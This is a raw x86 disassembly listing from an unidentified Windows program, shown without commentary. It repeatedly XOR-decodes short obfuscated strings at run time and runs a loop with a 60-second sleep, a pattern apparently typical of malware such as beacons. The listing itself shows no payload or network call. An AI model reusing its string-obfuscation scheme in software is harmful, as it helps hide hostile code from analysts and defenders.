je 0x413ef4
xor edx, edx
mov dword [ebp - 0xf0], edx
cmp edx, 6
jge 0x413ef4
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xf0]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xf0]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x176], cl
inc edx
jmp 0x413eb5
lea eax, [ebp - 0x176]
push eax
lea ecx, [ebp - 0x324]
call fcn.00405340
mov esi, eax
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x33c]
call fcn.00408af0
push eax
lea eax, [ebp - 0x294]
push eax
call fcn.004070a0
push esi
push eax
lea eax, [ebp - 0x1cc]
push eax
call fcn.00407080
push edi
push eax
lea eax, [ebp - 0x19c]
push eax
call fcn.00407080
add esp, 0x24
mov ecx, eax
call fcn.00406040
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.004055f0
add esp, 8
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
lea ecx, [ebp - 0x294]
call fcn.00401290
lea ecx, [ebp - 0x33c]
call fcn.00401290
lea ecx, [ebp - 0x324]
call fcn.00401290
lea ecx, [ebp - 0x30c]
call fcn.00401290
lea ecx, [ebp - 0x2f4]
call fcn.00401290
lea ecx, [ebp - 0x37c]
call fcn.00401290
lea ecx, [ebp - 0x388]
call fcn.00408f30
lea ecx, [ebp - 0x27c]
call fcn.00401290
mov edi, dword [ebp - 0x24]
jmp 0x414292
mov eax, dword [str.DL_WYO_]
mov ecx, dword [0x434ce8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
cmp byte [0x434ceb], 0
je 0x41403a
xor edx, edx
mov dword [ebp - 0xf4], edx
cmp edx, 8
jge 0x41403a
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xf4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xf4]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3c], cl
inc edx
jmp 0x413ffe
push 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
push eax
lea ecx, [ebp - 0x264]
call fcn.00410190
mov esi, eax
lea ecx, [ebp - 0x98]
call fcn.00401290
cmp esi, 0xffffffff
je 0x4142c4
lea eax, [ebp - 0x358]
push eax
push 0x434e08
lea ecx, [ebp - 0x19c]
call fcn.00405340
push eax
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00407100
add esp, 0xc
push eax
lea eax, [ebp - 0x404]
push eax
call fcn.004070a0
add esp, 0xc
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
movq xmm0, qword [0x434cf4]
movq qword [ebp - 0x2b8], xmm0
mov al, byte [0x434cfc]
mov byte [ebp - 0x2b0], al
xor edx, edx
mov dword [ebp - 0xf8], edx
cmp edx, 9
jge 0x41411d
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xf8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xf8]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x2b8], cl
inc edx
jmp 0x4140de
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x37c]
call fcn.00405340
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x54], eax
mov ecx, dword [0x434cec]
mov dword [ebp - 0x17c], ecx
mov cx, word [0x434cf0]
mov word [ebp - 0x178], cx
test ch, ch
je 0x4141b5
xor edx, edx
mov dword [ebp - 0xfc], edx
cmp edx, 6
jge 0x4141b5
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xfc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xfc]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x17c], cl
inc edx
jmp 0x414176
lea eax, [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x324]
call fcn.00405340
mov esi, eax
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x33c]
call fcn.00408af0
push eax
lea eax, [ebp - 0x294]
push eax
call fcn.004070a0
push esi
push eax
lea eax, [ebp - 0x1cc]
push eax
call fcn.00407080
push dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x19c]
push eax
call fcn.00407080
add esp, 0x24
mov ecx, eax
call fcn.00406040
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.004055f0
add esp, 8
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
lea ecx, [ebp - 0x294]
call fcn.00401290
lea ecx, [ebp - 0x33c]
call fcn.00401290
lea ecx, [ebp - 0x324]
call fcn.00401290
lea ecx, [ebp - 0x30c]
call fcn.00401290
lea ecx, [ebp - 0x2f4]
call fcn.00401290
lea ecx, [ebp - 0x37c]
call fcn.00401290
lea ecx, [ebp - 0x404]
call fcn.00401290
lea ecx, [ebp - 0x264]
call fcn.00401290
lea ecx, [ebp - 0x24c]
call fcn.00401290
lea ecx, [ebp - 0x1e0]
call fcn.00408f80
add edi, 0x18
mov dword [ebp - 0x340], edi
mov eax, dword [ebp - 0x64]
jmp 0x41378d
movq xmm0, qword [str.UWMQRPQ_M_]
movq qword [ebp - 0x136], xmm0
mov ax, word [0x434d08]
mov word [ebp - 0x12e], ax
test ah, ah
je 0x414326
xor edx, edx
mov dword [ebp - 0x100], edx
cmp edx, 0xa
jge 0x414326
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x100]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x100]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x136], cl
inc edx
jmp 0x4142e7
push 0
lea eax, [ebp - 0x136]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
push eax
lea ecx, [ebp - 0x264]
call fcn.00410190
mov esi, eax
lea ecx, [ebp - 0x98]
call fcn.00401290
cmp esi, 0xffffffff
je 0x414527
call fcn.00401330
movq xmm0, qword [0x434d14]
movq qword [ebp - 0x2c1], xmm0
mov al, byte [0x434d1c]
mov byte [ebp - 0x2b9], al
xor edx, edx
mov dword [ebp - 0x104], edx
cmp edx, 9
jge 0x4143bd
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x104]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x104]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x2c1], cl
inc edx
jmp 0x41437e
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x2c1]
push eax
lea ecx, [ebp - 0x37c]
call fcn.00405340
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x54], eax
mov ecx, dword [0x434d0c]
mov dword [ebp - 0x182], ecx
mov cx, word [0x434d10]
mov word [ebp - 0x17e], cx
test ch, ch
je 0x414455
xor edx, edx
mov dword [ebp - 0x108], edx
cmp edx, 6
jge 0x414455
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x108]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x108]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x182], cl
inc edx
jmp 0x414416
lea eax, [ebp - 0x182]
push eax
lea ecx, [ebp - 0x324]
call fcn.00405340
mov esi, eax
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x33c]
call fcn.00408af0
push eax
lea eax, [ebp - 0x294]
push eax
call fcn.004070a0
push esi
push eax
lea eax, [ebp - 0x1cc]
push eax
call fcn.00407080
push dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x19c]
push eax
call fcn.00407080
add esp, 0x24
mov ecx, eax
call fcn.00406040
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.004055f0
add esp, 8
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
lea ecx, [ebp - 0x294]
call fcn.00401290
lea ecx, [ebp - 0x33c]
call fcn.00401290
lea ecx, [ebp - 0x324]
call fcn.00401290
lea ecx, [ebp - 0x30c]
call fcn.00401290
lea ecx, [ebp - 0x2f4]
call fcn.00401290
lea ecx, [ebp - 0x37c]
jmp 0x41428d
mov eax, dword [str.BH__OY]
mov dword [ebp - 0x16a], eax
mov ax, word [0x434d24]
mov word [ebp - 0x166], ax
mov al, byte [0x434d26]
mov byte [ebp - 0x164], al
xor edx, edx
mov dword [ebp - 0x10c], edx
cmp edx, 7
jge 0x41458b
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x10c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x10c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x16a], cl
inc edx
jmp 0x41454c
push 0
lea eax, [ebp - 0x16a]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
push eax
lea ecx, [ebp - 0x264]
call fcn.00410190
mov esi, eax
lea ecx, [ebp - 0x98]
call fcn.00401290
cmp esi, 0xffffffff
je 0x414292
mov byte [ebp - 0x44], 0
mov byte [ebp - 0x45], 0
lea eax, [ebp - 0xbd]
push eax
lea ecx, [ebp - 0x44]
call fcn.00409440
mov edi, eax
cmp byte [edi + 4], 0
je 0x414619
xor ecx, ecx
mov dword [ebp - 0x1a4], ecx
cmp ecx, 5
jge 0x414619
lea esi, [edi + ecx]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x1a4]
inc ecx
jmp 0x4145e2
push edi
lea ecx, [ebp - 0x294]
call fcn.00405340
mov esi, eax
mov dword [ebp - 0x54], esi
push 0x18
lea eax, [ebp - 0x1cc]
push eax
call fcn.00406200
add esp, 8
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x3e4]
push eax
lea ecx, [ebp - 0x45]
call fcn.00409400
mov edi, eax
cmp byte [edi + 0xf], 0
je 0x414691
xor ecx, ecx
mov dword [ebp - 0x1a0], ecx
cmp ecx, 0x10
jge 0x41468e
lea esi, [ecx + edi]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x1a0]
inc ecx
jmp 0x414657
mov esi, dword [ebp - 0x54]
push edi
lea ecx, [ebp - 0x19c]
call fcn.00405340
push dword [ebp - 0x64]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00407080
push esi
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.00407080
add esp, 0x18
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
lea ecx, [ebp - 0x294]
call fcn.00401290
push 2
lea ecx, [ebp - 0x1e0]
call fcn.004093a0
push eax
lea ecx, [ebp - 0x33c]
call fcn.00408af0
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x33c]
push eax
call fcn.004029c0
add esp, 8
mov byte [ebp - 0x46], 0
mov byte [ebp - 0x47], 0
lea eax, [ebp - 0x501]
push eax
lea ecx, [ebp - 0x46]
call fcn.00409460
mov edi, eax
cmp byte [edi + 8], 0
je 0x414771
xor ecx, ecx
mov dword [ebp - 0x1b4], ecx
cmp ecx, 9
jge 0x414771
lea esi, [ecx + edi]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x1b4]
inc ecx
jmp 0x41473a
lea eax, [ebp - 0x24c]
push eax
push edi
lea ecx, [ebp - 0x428]
call fcn.00405340
push eax
lea eax, [ebp - 0x440]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x458]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x47]
call fcn.00409420
mov edi, eax
cmp byte [edi + 5], 0
je 0x41492d
xor ecx, ecx
mov dword [ebp - 0x1b0], ecx
cmp ecx, 6
jge 0x41492d
lea esi, [ecx + edi]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x1b0]
inc ecx
jmp 0x4147c1
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x1f8]
call fcn.00408f80
lea ecx, [ebp - 0x234]
call fcn.00401290
jmp 0x4134f0
lea ecx, [ebp - 0x12c]
call fcn.00401290
mov edi, 5
jmp 0x413260
call fcn.0041a2bf
call fcn.0041a2bf
call fcn.0041a2bf
call fcn.0041a2bf
call fcn.0041a2bf
push edi
lea ecx, [ebp - 0x4cc]
call fcn.00405380
push 0x441dc4
lea eax, [ebp - 0x4cc]
push eax
call fcn.00416c40
push edi
lea ecx, [ebp - 0x4d8]
call fcn.00405380
push 0x441dc4
lea eax, [ebp - 0x4d8]
push eax
call fcn.00416c40
push edi
lea ecx, [ebp - 0x470]
call fcn.00405340
mov esi, eax
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x404]
call fcn.00408af0
push eax
lea eax, [ebp - 0x37c]
push eax
call fcn.004070a0
push esi
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.00407080
push dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.00407080
add esp, 0x24
mov ecx, eax
call fcn.00406040
push eax
lea eax, [ebp - 0x324]
push eax
call fcn.004055f0
add esp, 8
lea ecx, [ebp - 0x324]
call fcn.00401290
lea ecx, [ebp - 0x30c]
call fcn.00401290
lea ecx, [ebp - 0x2f4]
call fcn.00401290
lea ecx, [ebp - 0x37c]
call fcn.00401290
lea ecx, [ebp - 0x404]
call fcn.00401290
lea ecx, [ebp - 0x470]
call fcn.00401290
lea ecx, [ebp - 0x458]
call fcn.00401290
lea ecx, [ebp - 0x440]
call fcn.00401290
lea ecx, [ebp - 0x428]
call fcn.00401290
lea eax, [ebp - 0x27c]
push eax
call fcn.0040b0f0
add esp, 4
push 0
call fcn.0041bf17
call fcn.0041a2bf
int3